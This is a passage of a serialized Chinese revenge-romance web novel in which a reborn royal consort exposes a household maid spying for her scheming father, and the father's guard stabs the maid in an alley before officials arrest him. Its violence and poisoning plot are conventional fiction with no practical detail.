夜晚的寒风灌进衣领,让秋水浑身发抖,不由自主加快了脚步。 终于,她回到许家别院。 从后门潜回后院,推开门之后,秋水却停了下来。 只见许老爷子站在台阶上,脸色铁青,眉头紧拧。 一众家丁举着火把,将院子照得如同白昼。 而许老爷子身旁,早就离开别院的靖北王妃谢窈去而复返,素手揣着手炉,眼神淡漠如冰。 可这还不是最让秋水心悸的。 在谢窈身边,一个身披青色云氅的妇人,此刻,正冷冷地盯着她! 这妇人,是她曾经的主子,多年不见的许家大小姐,许素素! 母女俩的容貌并不相同,可此刻的眼神,却一样的冰冷,森然! “秋水,你大半夜的出门,是去见谁了?” 许老爷子声音带着怒意,眼中满是失望。 秋水双腿一软,“扑通”跪到地上,冷汗浸湿了后背。 “奴婢,奴婢只是觉得屋里闷,出门透了透气,并未去见谁。” “是吗,”谢窈缓缓走下台阶,停在她面前,目光扫过她的脸,语气讥讽,“透气要穿着见不得人的斗篷,还特意描眉涂脂?” 秋水的脸已经惨白无血色,刚要辩解,许素素直接走到她面前,掀开她斗篷的帽兜,不等她反应,“啪”地一声,狠狠一巴掌扇到她脸上! 这巴掌力道极重,秋水被扇得偏过了头,嘴角瞬间溢出血丝,脸颊火辣辣的疼。 她懵了,抬眼看许素素,满眼不敢置信。 从前的大小姐最是宽厚心善,连有婆子偷偷拿她首饰变卖,被她发现,得知婆子是为孙女抓药后,她一笑而过,说自己钱多。 许家上下,都感念大小姐的好。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!许素素盯着她,手掌微微发抖,不是害怕,而是因为愤怒。 “我当年把你从街边买回来,教你识字,给你体面,不是让你帮着别人算计我爹,算计我女儿的!” 一个身穿短打的青年,从家丁中走出来。 “老爷,小的奉王妃之命,今晚盯着秋水,亲眼看见她去了文昌伯府后门。” 秋水认识这个青年,睁大了眼睛:“阿武?” “不止呢,她还跟伯府的门房说,自己是来找伯府的护院首领蒋四。”一道清亮的声音响起。 白蔹从谢窈身后闪出来,一身劲装,轻按佩刀,清俊面孔似笑非笑,脸颊露出一对酒窝。 秋水彻底陷入绝望,因为她听出了这个声音,正是白天给她送纸条的小厮! 原来纸条是为了引蛇出洞,一切都是谢窈的算计。 她知道自己深受许老爷子信任,所以布下陷阱,让自己在许老爷子面前,被抓个正着。 “好啊,”许老爷子指着秋水,声音颤抖,“我待你如亲女儿,你难道不知道谢家与我许家的关系,竟敢为文昌伯做事?” 许素素冷冷一笑,语气却平静下来:“来人,将这背主奴婢,杖责五十,发卖出府。” 秋水终于崩溃了,哭着求饶道:“奴婢……奴婢不敢,奴婢的确是去了文昌伯府,但只是去见蒋四,绝不敢背叛许家啊。” 一个是在别院管事了十几年的丫鬟,一个是许家真正的大小姐,家丁们听到许素素的话,立即反应过来,上前按住她。 谢窈俯视秋水,声音平淡,带着刺骨寒意。 “你身为许家别院之人,去见蒋四做什么?是想像白天那样,再跟他温存一番?还是跟他交代如何调理外祖父的身体?可惜,蒋四今晚去医馆换药,没看到你,倒让你白跑一趟。” 秋水猛地抬起头,眼中满是惊恐,靖北王妃竟然连她和蒋四的事都知道了? 一边的于管家,这时也走到她身边,发出叹息。 “秋水,你别再隐瞒了,今天蒋四来别院,我就觉得他看你的眼神不对,如今才明白是怎么回事,你以为自己做得天衣无缝,但大小姐和王妃,早就盯着你了!” “怪不得蒋四临走时,故意拉着我不放,询问老爷的身体近况,他一定是想害谋害老爷,再嫁祸到我身上。” 谢窈看向于管家,眼中闪过一丝了然。 于管家,只不过是被秋水和蒋四联手设计的背锅之人。 前世,母亲未曾与谢明安分府别居,阿武还是舅舅的护院。 外祖父突然去世,若是有别院的掌事丫鬟秋水出面,指认凶手是于管家,那必然会牵扯到阿武,进而让许家人怀疑舅舅。 鹬蚌相争,渔翁得利。 舅舅被诬陷,文昌伯就能以女婿的身份,霸占许家产业! 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第175章 外祖父母亲相见,秋水交代 秋水趴在地上,擦了擦嘴角的血迹,颤抖地抚摸发间玉簪,还抱着最后一丝侥幸。 “奴婢跟蒋四情投意合,他说了会娶我……奴婢只是对他有情,但绝没有背叛许家!” 她又激动地说:“对,对,他不会骗我的,他还给了我信物,这发簪就是信物。” “信物?” 蒲苇走出来,从袖中丢出一支青玉簪,扔到秋水面前。 “这破簪子,三两银子都不值,蒋四怕是买了一捆,送遍了伯府的年轻丫鬟!” 之前她在晚香院时,蒋四为了拉拢她,也曾给她送过一支这样的簪子。 “你若不信,就去伯府问问,谁不知道蒋四跟许多丫鬟都不清不楚,而你,是他手里最蠢的那个。” 秋水捡起地上的簪子,拔下自己发间的玉簪,仔细对比。 一模一样。 “不,不可能,怎么会这样……” 她的手指颤动,玉簪从手中滑到地上,“啪”地一分为二。 再想到今夜听到伯府门房的话,她终于明白,从头到尾,蒋四对她只有利用。 许老爷子看着她,心里又痛又怒。 他是真把秋水当干女儿看待,却没想到,自己信任了这么多年的丫鬟,是谢明安的人! 秋水触及到许老爷子的目光,羞愧交加地低下头,眼底翻涌着不甘和恨意。 只是,当许老爷子侧头,再看到自己身边的许素素时,心中的怒火,忽然烟消云散。 女儿回来了,那他还关心一个有二心的干女儿干嘛? 谢窈一直余光望着外祖父的神情,见老人眉目舒展,她才放下心来。 只有她知道,外祖父多么想念母亲。 她将母亲请来,外祖父激动又高兴,就顾不得为一个奴婢伤心了。 而母亲即便还不知如何面对外祖父,也不会拒绝自己。 许老爷子忍不住看许素素一眼,两眼。 他心道,除了小阿窈大婚那日,自己有多久没见到女儿了? 自从她执意要嫁给谢明安,这些年,他们父女俩,没有好好说过一句话。 “素素,”许老爷子语气有些局促,小心翼翼地上前一步,想拉住许素素的手,却又放不下面子,“你怎么来了?” “阿窈叫我来,说——”许素素听到父亲的声音,刚才的冷肃褪去,眼底涌上愧疚。 她本该说自己是谢窈叫来的,可回过头,望着许老爷子的满头白发,她眼眶一下子红了,哽咽道:“爹,我想您了!” “您的头发怎么全都白了,明明我离家时还是黑的。” 许老爷子暗了暗酸涩的眉心,“嘿嘿”一笑,笑中含泪:“老夫都多大了,有点白头发,显得沉稳。” 许素素摇了摇头:“是女儿不孝,回来晚了。” “回来就好,素素,回来就好。” 许老爷子拉住女儿的手,走进正厅,再也没有看地上的秋水一眼。 “外面冷,咱们进屋说,老于,快——” 于管家抹了一把眼泪,重重地“哎”了一声:“老奴这就去做大小姐最爱吃的饭菜!” “至于她,”许老爷子脚步停顿,侧头道,“小阿窈,交给你了。” 回到屋里,他上下打量着多年不见的女儿,简直是坐立难安。 许素素接过于管家盛的银耳羹,原本是小口喝,可不知为何,她忽然忍不住了,眼泪失控,大滴大滴落到碗里。 “对不起,爹,当年都是我不懂事。” 一字一句地说完这句话,许素素长吁一口气。 “过去的事不必再提。” 许老爷子望着女儿,沧桑干枯的手抬起来,给女儿擦眼泪。 “素素,你只需要记得,人这一辈子,谁没有做错事,走错路的时候,嫁错了人没关系,不管你多大,回到家里,你永远都是爹娘的女儿。” 许素素扑进许老爷子怀中,压抑地哭起来。 柴房内。 秋水被捆在角落,面容灰败,眼神执拗地望着柴房的门。 像是在等谁来给她求情。 谢窈坐在唯一的木椅上,忍冬和白蔹立在她身后。 “说吧,”忍冬先开口,“文昌伯把你安插在许家别院,到底有何目的?” 秋水抬起头,声音沙哑:“蒋四只是让奴婢盯着老爷的动静,有什么事跟他通传,没让奴婢做别的。” 她的眼泪如雨下:“王妃,老爷待奴婢如干女儿,我怎会害他?” 忍冬:“你不会害他,却会骗他。” 她取出一张泛黄的单子,上面,是许老爷子几年前寒疾加重时,秋水给出的祖传偏方。 “这偏方就是个寻常治病的方子,可老爷子本来身体康健,哪有什么寒疾!” 她缓缓说道。 “我询问了于管家,那时他族亲病逝,回了老家探亲,别院内的事都交给你打理,怕不是你让许老爷子得了寒疾,再假意献出偏方,为他治病吧!” 秋水轻轻地,点了点头。 “是,是我鬼迷心窍。” 谢窈漠然地看着她,眼底一片清寒:“我母亲是外祖父唯一的女儿,她来了,你觉得,外祖父还会在意一个干女儿吗。” 这章没有结束,请点击下一页继续阅读!忍冬:“你在许家待了十八年,到底做了什么。” 见她沉默,谢窈轻笑一声,只是笑意不及眼底:“既然不愿意交代,那就听从母亲安排,杖责五十,发卖出去吧。” 白蔹颠了颠手里的佩刀:“王妃,就她这身子骨,杖责五十,必死无疑。” 秋水打了个寒战。 忍冬:“有奴婢在,可以救活,不过估计得瘫了。” 秋水惊恐地瞪大双眼。 白蔹:“行吧,就算忍冬姑娘医术高明,给她救活了,半死不活,也卖不上价钱。” “那小白侍卫有什么好方法吗?”谢窈饶有兴趣地问。 白蔹摩拳擦掌:“不如交给属下,属下虽然从不对女子动手,但王府后山有一群狼,整日喂些干枯没味的西戎人,偶尔也该换换口味。” 说着,他阴沉一笑:“这狼吃人,从内脏开始,热乎乎香喷喷的,不过,它们会先一口咬断你的脖子,所以你不用害怕,死了,是感受不到疼的,但属下想英雄救美,肯定不能——” 白蔹还没说完,秋水已经克制不住干呕起来,心里甚至升起了咬舌自尽的念头。 忍冬:“秋水姑娘想咬舌自尽?奴婢是大夫,你的力度,大概率是咬不死自己,我还得给你把舌头揪出来救,就别这么恶心了吧。” 秋水:“……” 谢窈和忍冬,一个见惯了生死,一个会医术,都面无表情听白蔹的话。 “奴婢错了,奴婢愿意以死谢罪,只求,只求不要将我喂狼……” 秋水涕泣横流地说。 “都是奴婢的错,当年,是奴婢将大小姐的喜好忌讳告诉伯爷,替伯爷传信,约大小姐到京郊的谢家别院游玩踏春,曲水流觞,又支走了苏嬷嬷……” 她将十八年前的事,一五一十,全都说了出来。 每说一句,谢窈的脸色就沉一分。 原来,母亲一开始,对谢明安无意。 是秋水天天在她耳边说谢家状元郎的好,给谢明安创造机会。 也是谢明安借着酒意欺辱母亲,又说自己心悦母亲已久,愿聘她为妻。 他一片赤诚,又装得天衣无缝,让母亲信了他的鬼话。 直到母亲生下她后,谢明安亲自来许家提亲,说得天花乱坠,让外祖父不得不将女儿嫁进伯府。 她虽然早已知道这些,可听到秋水的话,还是忍不住攥紧了拳头。 “奴婢知道自己对不起大小姐,奴婢一直在后悔,可文昌伯对奴婢有救命之恩,还有蒋四,他,他当初也是与奴婢酒后试了分寸,他说会娶我,我才跟他往来,没想到……是奴婢瞎了眼。” 秋水哭声里多了恨意。 她说着说着,也明白了,文昌伯可以酒后得到大小姐,那蒋四与自己最初那次喝酒,也肯定是对方的算计。 忽然,秋水想到了什么,眼中闪过一抹光亮。 “王妃,奴婢愿意赎罪,蒋四说了,文昌伯还有件事需要我办,他肯定还会找奴婢,奴婢可以假装同意,然后将他的罪证交给您!” “文昌伯谋害老爷,有了这份罪证,大小姐就可以借此,跟他和离了!” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第176章 机会?渣爹行贿之人竟是 谢窈垂着眸,目光落在秋水脸上。 那半张被扇了巴掌的脸还没消肿,此刻沾着泪水,看起来有些可怜。 可她的心里,却没有一丝波澜。 她若觉得秋水可怜,那谁觉得母亲可怜? 谢窈站起身,走到她面前,语气平淡,“你算计我外祖父,害我母亲在伯府受尽折辱,不是一句‘赎罪’,就能还清的。” 何况,她没说的是,纵然秋水此刻多么悔恨,前世外祖父的死,也定然是她所为。 秋水的身子僵住,嘴唇颤抖,一个字也说不出来。 “不过——” 谢窈话锋一转,眼底无波无澜。 “你想做的事,倒也不是不能试试。” 秋水猛地抬起头:“王妃,您愿意给奴婢机会?” “给她松绑。” 谢窈淡淡地说:“你先回去养着,等蒋四再来找你的时候,就来告诉我。” 白蔹不解,但还是听命于她,给秋水松了绑。 “多谢王妃,多谢王妃,奴婢一定不会让您失望!”秋水连忙磕头,又哭又笑地说。 她刚爬起来,忍冬开口:“秋水,你这脸还肿着,文昌伯见了难免会起疑,若蒋四真的传信给你,你就等两天,伤好了再去见他,这才稳妥。” 秋水愣了一下:“多谢姑娘提醒,奴婢一定等伤好之后,再和伯府联系。” 她抹着眼泪,踉跄地走出柴房。 等她走后,白蔹忍不住问:“这女人害了伯夫人半辈子,依属下看,不喂狼,属下一刀把她攮死也算解气,王妃,您真要给她机会?” 忍冬噗嗤一笑:“小白侍卫,你怎么总是喜欢一刀攮死别人?” “忍冬,你也变坏了。”谢窈看了她一眼。 忍冬刚才的提醒,如果秋水听信了,在谢明安给她传信时隔几日再去,谢明安必然会察觉到异常。 忍冬:“奴婢跟着王妃这么久,也是能看明白一些事的。” 谢窈垂下眸,这才回答白蔹的问题。 “我从没给过她机会。” 她走出柴房,望着夜色里的许家别院。 “谢明安那样的性子,宁可错杀,不会放过,而我,就等着看她自寻死路。” 谢窈澄澈的凤眸映着跳动的火把,显得异常冷冽。 白蔹:“可万一,她真拿到罪证呢?” 谢窈:“那就算她厉害,以后逢年过节,给她多烧点纸钱?” 白蔹明白了,王妃是要借文昌伯的手除掉秋水,再借秋水抓住文昌伯的把柄。 接下来的两天,秋水果然乖乖待在别院里养伤,谢窈则与母亲一起,再次来探望许老爷子。 许老爷子猜出谢窈有所安排,故意装作一切如常。 直到第三日午后,秋水去后门跟其他下人搬蔬果时,一个穿着黑衣的小厮跑到她身边。 这次,小厮手里并没有拿着字条什么的,而是低声道:“秋水,有人让我来传个话,说有事找您,明日午后,云鹤酒楼的壬字号包厢见。” 秋水强压着激动,点了点头。 蒋四和文昌伯府,果然找她了! 她不由自主地抚摸自己脸颊,还好,她脸上的巴掌印也快消了,明日再上些脂粉,没人看得出来。 秋水没发现的是,传话小厮抬起头,不经意地看了她一眼,见到她脸颊那抹淡色的指痕,愣住了。 小厮走后,秋水立即去找谢窈。 许素素和谢窈,正在陪许老爷子说话。 见她来了,谢窈主动走出来。 秋水:“王妃,蒋四的人找奴婢了,约奴婢明日午后,去云鹤酒楼壬字号包间,肯定是要跟奴婢说谋害老爷的事!” “知道了,”谢窈道,“我会派人提前藏在云鹤酒楼,你只管当什么事都没发生。” “您放心,奴婢明白。” 看着秋水的背影,谢窈对白蔹吩咐:“明日云鹤楼,小白侍卫,由你带人看着壬字号包间,另外,等时辰到了,再去通知京兆府的司法参军,让他带着官差,随我抓住谋害许家掌事丫鬟的奸人。” “是!”白蔹领命而去。 傍晚的时候,谢窈回到靖北王府。 这两日,她一直往返王府与许家别院,王爷没有任何意见,还派了白蔹和一队王府亲卫给她。 她用得很顺手。 快走到流霞院,就见白术带领四名王府亲卫,抬着两具卷在草席里的尸体,往后门而去。 鲜血从草席缝隙渗出来,滴在雪地里,触目惊心。 “见过王妃。” 白术躬身行礼,一如既往的冰块脸。 “出什么事了?”谢窈随口询问。 白蔹则皱起眉:“新抓来那几个,又死了?” 白术:“回王妃,是年关将至,过些日子西戎和雍国都会派使团来京,混进京城的西戎探子就越来越多了,王……属下刚审死两个,把人丢去后山。” 谢窈垂下眸,最近街上的西戎人确实不少。 快过年了,安平侯遇刺的日子,就快到了。 不过,审查西戎探子,应该不是靖北王的职责吧? 忍冬惊讶地问:“后山?喂狼吗,这些狼要是跑下山怎么办?” 白蔹笑嘻嘻地说:“忍冬姑娘不用担心,其实王府后山距离王府很远的,而且,就算狼真的跑下来了,我和我哥,一刀一个。” 白术点头。 谢窈没再多问,刚要离开,瞥见老管家推着靖北王从流霞院出来。 萧熠之看见她,桃花眸微凝,忽然垂下眸,看到自己袖口的一抹血迹。 “回去。”王爷皱起眉,冷声道。 老管家:“王爷,咱们不去跟王妃打声招呼吗?” 萧熠之:“太冷了,本王要换身衣服。” 谢窈面露疑惑,王爷明明见到了自己,怎么走了。 她回到扶光院,等过一会儿陪萧熠之用晚膳。 没等来王爷,七两来了,面色有些复杂。 谢窈看出他要说什么,让忍冬等丫鬟退下:“说吧。” 七两再次左右张望,谨慎地压低了声音。 “小姐让小的查的那处宅子,小的查到了。” 听到他没有唤自己王妃,而是小姐,谢窈心中一沉。 谢明安在账目上,给金眼玉佛的备注,是南淮大街那处宅子。 住宅的幕后主人,十有八九,是谢明安当初的行贿对象。 “那宅子被一户京城富商租赁,小的又去了他僦宅的牙行,发现牙行也是经人介绍出租的宅院,最后,小的找到了出租宅院之人,是——” 七两顿了顿,沉声道:“是靖北王身边的,白术。” 第177章 原谅王爷?螳螂捕蝉 谢窈呼吸一窒。 白术? 那就代表着…… 七两咬了咬牙,索性一口气说出来。 “白术只是将宅院挂给牙行之人,小的查到后,又以求租房屋之名,翻查了那牙行在南淮大街的几处房契,亲眼看见房契上写着,南淮大街丙号院的房东,正是,正是靖北王!” 说完,他低下头,不敢再多言。 谢窈眯起眸子,越过他,目光落到扶光院一角,那里是六对被养在金笼里的大雁。 谢明安向一些官员行贿,特意留了些把柄,而把柄宅子的主人,竟然是……萧熠之? 难道谢明安行贿的对象,是靖北王? 她脑海中闪过王爷前几日,喝醉后恣肆痞气的模样。 那个怕她看见腿伤,会给她送刀鞘,陪她要回母亲陪嫁,还在漫天大火里,执意询问她要做什么的男人,会是谢明安的靠山? 近日,萧熠之似乎一直在忙,可他在忙什么呢? 无数念头在她脑海里翻涌。 谢窈感觉自己重生后,一切太过顺利。 她成了被困在笼子里的大雁,因为顺风顺水,吃喝不愁,所以慢慢丧失了警惕心,将一举一动,都暴露在萧熠之的视线之下,也就失去了飞翔的能力。 只是,很快,她又强迫自己冷静下来。 她不能仅凭一处宅子就下定论。 王管事说过,他是在六年前,给一位贵人送了金眼玉佛,那时萧熠之十八岁,虽然也战功赫赫,但还没有因为从龙之功而封王,更左右不了朝局,谢明安一个文官,何必讨好他? “此事,你不必再查。” 谢窈眼中闪过一丝锐芒,语气淡然道。 “是。”七两退了下去,没敢多说什么。 谢窈不愿让怀疑过夜。 她站在原地,望着隔壁的流霞院,等待萧熠之过来。 片刻后,白蔹前来,语气有些复杂:“王妃,王爷今晚住扶光院。” 谢窈挑了挑眉:“王爷这几日,很忙?” “忙,特别忙。” 白蔹避开她的眼神,心虚地问:“王妃,如果王爷做了不好的事,您会原谅他吗?” 谢窈凤眸深邃:“那就等王爷忙完,亲自问我这个答案吧。” 白蔹嘴角一抽,只好点了点头离开。 回到扶光院,他和白术面面相觑,发出痛苦的哀嚎:“王爷我求您了,您别再让我和白术试吃桃花酥了,实在太——” 萧熠之:“太好吃了?” 白蔹:“太难吃了!” 白术默默又吃了一块,然后看着面前坐在轮椅上,脸上和衣袍沾染了面粉的王爷,用力点头。 白蔹咬牙:“您是条汉子,就亲自端给王妃,看她吃不吃!” “你说的很对。”萧熠之桃花眸弯了弯,看起来很好说话的样子。 白术却不信,他感觉自己看见了还是靖北侯世子的王爷了=。 随即,王爷幽幽地吐出两个字:“吃完。” 白蔹:“……” 王妃原不原谅王爷他不知道,他不想原谅了。 次日,傍晚的云鹤楼,客人仍旧不少。 二楼里面的壬字号包间里,谢明安坐在靠窗的位置,目光望着外面,他正在等待秋水。 谢明安不知道的是,为首的天字号包厢内,谢窈和许素素,正坐在里面悠然喝茶,两人身后分别跟着长思和桑若。 “母亲还记得吗,小时候,你带我来过云鹤楼吃饭。”谢窈弯眸问道。 许素素:“十年前的事了,你倒是记得清楚。” 回想起小时候的女儿,她的唇角浮现出一抹温柔的笑意。 “阿窈,不止你在努力,母亲也想努力帮你,”她说着,又回头问长思,“那几处铺子,如何了?” 长思点头,在谢窈不解的目光中回答:“夫人放心,十间商铺均已易主,而奴婢所出的价格,文昌伯给那些铺中伙计遣散费都不够。” 她这才说,这几日,在许素素和许知行的运作下,谢家十间京城商铺,已经闭店。 收购铺子的人,正是许素素。 谢明安还赖着一部分她的陪嫁不给,不过没关系,谢家自己经营的铺子,是自身难保。 谢明安如果想维持好名声,必须得给那些伙计遣散费,恐怕,又要肉痛不已了。 许素素现在,有的是时间和动力,一点点蚕食谢家。 她说道:“桑若,你过一会儿,去将此事告诉文昌伯,转告他,不和离,我许素素,也能让谢家名下的一切,都开不下去。” “之后,再去见一个人。” 谢窈挑了挑眉,她竟然不知道母亲要见桑若去见谁。 不过,她并没有多问。 另一边,蒋四守在门口,远远地就看见了秋水,故意亲昵地唤了一声。 谢明安挥了挥手,让他下去。 秋水行礼道:“伯爷。” “你脸怎么了?”谢明安目光落在她身上,随口询问。 秋水浑身一颤,她脸颊的巴掌印其实已经看不出来了,但为了防止文昌伯起疑,她还是涂了厚厚的脂粉。 殊不知,越是这样,谢明安越警惕。 “奴婢没事,是蒋四说喜欢奴婢这样的妆容。” 秋水低下头,乖乖地回答。 谢明安见她眼神闪烁,心里起了疑。 只是转念一想,秋水在许老爷子身边潜藏多年,是他安插在许家最重要的眼线,把她逼急了,得不偿失。 谢明安收敛了目光,语气缓和些,又询问起许老爷子的身体。 秋水捡些无关紧要的话说,直到谢明安道: “许老爷子一年才住一两个月的京中别院,有些事,等他回到江州老家就来不及了,秋水,你是别院的掌事丫鬟,又深受老爷子信任,一碗鹤顶红送他归西,想必对你来说,不是难事。” 秋水浑身一颤,吓得跪到地上:“伯爷,奴婢哪有什么鹤顶红。” 她想等着文昌伯将鹤顶红交给自己,这应该也算罪证吧。 谢明安皱起眉:“鹤顶红,不是很常见吗。” 秋水一个劲摇头。 谢明安道:“事成之后,你就把一切罪责,都推到许家别院那个厨子管家身上,本伯会给你安排一个好前程。” 一瞬间,秋水甚至心动了。 但想到靖北王妃的人此刻可能就藏在外面,她只好说:“可奴婢真的弄不来那毒药。” “罢了,你先回去,最近不要轻举妄动,待本伯想一想,给许世诠……挑一个好日子。”谢明安皱眉道。 “是。” 秋水连忙离开,心想文昌伯推迟了下手也好,自己也能好好多活几天。 回去之后,她再跟王妃和伯夫人求情,伯夫人心软,她未必会被发卖出去。 秋水刚离开,蒋四走进包厢,道:“这死丫头,现在学会骗人了,刚才给她传话的人告诉小的,她前几日是在别院做错了事,被扇了巴掌,今日才涂脂抹粉。” 他不屑地说:“说什么小的喜欢,看来是怕伯爷用完后将她除掉,想拿捏伯爷。伯爷放心,小的今晚就去许家别院找她,床上让她服了,她才好乖乖办事。” “什么?!” 谢明安猛地站起身。 “你说她脸上巴掌印,是在许家别院做错了事?” 蒋四:“是啊,她——” 谢明安打断他的话,胸口剧烈起伏:“蠢货!” “许氏和谢窈母女俩这几日都在谢家,这死丫鬟被扇了巴掌,还故意瞒着本伯,肯定是被谢窈策反了!” 蒋四呆住:“伯,伯爷,不会吧,小的近半年也就前几日见了她一次,而且,咱们对她有救命之恩,她怎么可能背叛伯爷?” 谢明安眼神一沉,也不确定起来。 只是,涉及许老爷子,那是他翻盘的希望。 如果秋水真的已经被谢窈策反,自己浑然不知,还把事情交代给她,岂不是又像靖北王的回门宴一样,做了无用功? 回门宴上,芳儿的临时反水还历历在目。 “不怕一万,就怕万一。” “你带人,现在就去追上她,”谢明安的声音狠厉,“把她处理掉,别留下任何痕迹。” 第178章 当街杀人?证据确凿! 离开云鹤楼,秋水正往别院走着。 傍晚天色暗淡,冷风吹得她心里越发惴惴不安。 王妃说了,会安排人在云鹤楼藏着,可以将文昌伯抓住,人赃并获。 可没想到,文昌伯虽然让她害死老爷,但连包毒药都没给自己。 不过,王妃的人也没出现,想来是怕打草惊蛇。 秋水想赶紧回别院,顺势拐进一条僻静的小巷。 刚进去,她就停了下来。 只见蒋四和一个小厮打扮的男子,站在巷子里,看样子,早已等候多时。 “蒋四,你怎么跟过来了,是伯爷还有什么事要交代吗?”秋水强装镇定地问。 “跟过来?不,我是特意来的。” 蒋四阴沉一笑,一步步走上前。 秋水意识到不对,转身就要跑。 可霎时间,蒋四就近在眼前。 两个男子同时抓住她的胳膊,将她狠狠摔在墙上。 秋水撞得头晕眼花,还没反应过来,只感觉胸口一凉—— 蒋四已经拔出腰间的匕首,捅进她的胸口! “你……” 秋水低头,盯着胸前的刀,鲜血顺着刀刃往下流。 蒋四可惜地道:“秋水,我也不想,但谁让伯爷生性多疑呢。” 秋水瞪大双眼,眼中满是不甘和恨意。 她伸出手,死死地抓住蒋四的衣袖:“我……死也不会放过你……还有……” 蒋四一把甩开她的手,准备再补两刀,给她个痛快。 这时,巷口传来一阵脚步声。 “住手!” 京兆府的郑参军大喝一声,一群官差围上来。 “诱拐良家女子,当街杀人灭口,来人,给我把他抓起来!” 他早就接到消息,说有人诱骗了自己府中奴婢私逃。 若是寻常家奴私逃也就算了,可传来消息的人是靖北王妃,她说逃走的奴婢,是她外祖父许老爷子收的干女儿,已经脱了奴籍的良家女子! 王妃说了,她不愿追究秋水,只求将奸人绳之以法。 郑参军刚带人跟到小巷,就认出了蒋四。 还没反应过来呢,蒋四竟然把秋水杀了! 秋水瘫倒在地上,口涌鲜血,目眦欲裂。 临死前,她忽然明白了,原来……谢窈从没想过让她活。 蒋四刚举起手,试图反抗,就被身后冲上前的白蔹一脚踢在膝盖上,“扑通”倒地。 官差们一拥而上,把他和另一个伯府护院按住。 白蔹弯下腰,探了探秋水的口鼻,摇头道:“死了。” 一击毙命,神仙难救。 随即,他浮夸地喊起来:“秋水姐姐,你死得好惨啊!你怎么能听信这狂徒的鬼话,跟他私奔呢?蒋四,你枉顾秋水姐姐对你一片痴心,为什么要杀她,你说!” “你们敢抓我?我是文昌伯府的护院!我家伯爷是谢明安!” 蒋四拼命挣扎,大喊大叫。 “文昌伯又如何?” 一道清冷的声音,从郑参军身后传来。 谢窈一袭洁白衣氅,墨发凤簪,提着灯,缓缓走出来。 暖色的灯火映着她白皙如玉的容颜,平静而冷艳。 “天子脚下,朗朗乾坤,敢当街杀人,谁,也救不了你。” 郑参军下令道:“将蒋四关进大牢,严加看管!” 巷口已经围了不少百姓,对着蒋四指指点点。 “这不是文昌伯府的护院首领蒋四吗?竟然当街杀人!” “没听见吗,死的是许老爷子的干女儿,这蒋四是诱拐了良家女子私奔。” “文昌伯身边竟有如此恶人,有其仆必有其主,怪不得伯夫人和他分府别居。” 谢窈低头,看着秋水的尸体,眼神平静:“好生安葬吧。” 随即,她转过身对郑参军道:“蒋四杀人证据确凿,还望郑参军一定要好生看管,不要让他像之前济安堂孙宏方那样,不明不白地死在牢里。” 之前孙姨娘的大哥孙宏方,只在牢中关了几天,就死在了里面。 白术调查后说,牢头不知孙宏方忌食薤白,给的牢饭中含有此物,诱发了他的急病,孙宏方这才死在牢里。 可笑的是,孙宏方是济安堂的东家,开了一辈子医馆,会不知道自己不能吃薤白? 京兆府的典狱官,或许,人就在谢明安那些行贿账目上,才能悄无声息地将孙宏方害死在牢里。 这次,被抓的蒋四,知道的事更多。 谢明安如果敢铤而走险,将蒋四灭口,那就证明,他勾结京兆府的典狱官,结党营私。 如果他什么都不做,有朝一日,蒋四就会成为他最大的罪证。 这一天,就快到了。 “是,王妃!” 郑参军应下,让人把蒋四二人押走。 此刻,刚回文昌伯府书斋没多久的谢明安,正在焦急地等待蒋四的消息。 等来的,是官差传来口信:蒋四当街杀了秋水,被司法参军和靖北王妃当场抓获,已被送进京兆府大牢! 谢明安眼前一黑,差点晕过去。 和官差一起来的,还有许素素派来的阿武和桑若。 桑若悠然道:“伯爷,我家夫人说了,你们谢家在京城的十间铺子,都已被她收购,那些掌柜与伙计她一个不要,您得快点领回去,他们还等着伯府给他们发月钱呢。” “夫人还让我转告你一句话:不和离,她也能让谢家名下的一切,都开不下去,赚钱的不是那些铺子,而是她许家。” “砰!” 谢明安将桌上的茶杯摔到地上,已经快气疯了:“滚,给本伯滚!” 桑若没等他骂,已经离开。 “谢窈,许氏……我不会放过你们!” 谢明安愤怒的咆哮声,在空无一人的书斋回荡。 阿武和桑若跟着传话官差,快出伯府时,阿武忽然捂住肚子:“诶呦,小的要去一趟茅厕,官爷,您先走吧。” 官差不疑有他,自己离开了。 桑若转身绕回伯府,七拐八拐,跑到一处窗户都钉满木板的院子。 这里,是伯府关押孙姨娘的地方。 夫人让她找到人,正是孙姨娘。 蒋四出事,伯府的下人们人心惶惶,看管她的人都不知道去了哪里。 阿武守在院外,桑若借着夜色,悄悄推开屋门。 一股沉闷腐朽,混合着补药的气味,扑面而来。 看清屋内的情景后,她睁大了眼睛。 几日不见,从前风光无限的孙姨娘,竟然披头散发,只穿着一件单衣,被绳子捆住手脚,蝉蛹似的躺在床上。 她胖了许多,但更像是被强行喂出来的浮肿。 孙姨娘听到动静,缓缓抬起头。 “是你啊,许素素身边的丫鬟……”她嗓音沙哑。 桑若道:“孙姨娘,我家夫人让我问你,当初她陪嫁嬷嬷苏嬷嬷的死,到底是怎么回事?” 第179章 钓出王府流言,谢窈反击 桑若还记得,七年前,苏嬷嬷年事已高,夫人给她准备了一笔盘缠,让她回老家颐养天年。 那段日子,苏嬷嬷一直心事重重。 她离府当天,孙姨娘忽然以她手脚不干净为理由,将她抓了起来。 几日后,夫人和她,只看见了一具面目全非的尸体。 ——“夫人,孙姨娘说,害死苏嬷嬷的,是文昌伯和谢老夫人,她不过是个背锅的,也不清楚文昌伯为何要抓苏嬷嬷。” “她还说,文昌伯亲自审问了苏嬷嬷后,暴怒不已,想让她雇杀手,去北境……杀了王妃,但因为路途遥远,鞭长莫及,最后放弃了此事。” 澄园。 桑若将从孙姨娘的话,转述给许素素。 “谢明安,竟然想过杀了阿窈。” 许素素听到这里,呼吸骤然加重,攥成拳的手颤抖不已。 谢窈回京前,谢明安也曾用女儿的命威胁自己。 虎毒尚不食子,桩桩件件,无不证明这个男人,根本没拿谢窈当他的女儿。 可阿窈,难道不是他的亲生女儿吗! 除非…… 桑若道:“夫人,孙姨娘如今吃喝拉撒都不能自理,活着还不如死了,她没必要骗奴婢,看来苏嬷嬷就是文昌伯害死的,只是,奴婢也想不明白,文昌伯为何要害死她。” 苏嬷嬷死在七年前,死状凄惨,让许素素不忍回忆。 而七年前,谢明安询问过在许家潜藏多年的秋水,自己在嫁给谢明安之前,有没有和其他外男交往密切。 他为什么要问秋水这个问题? 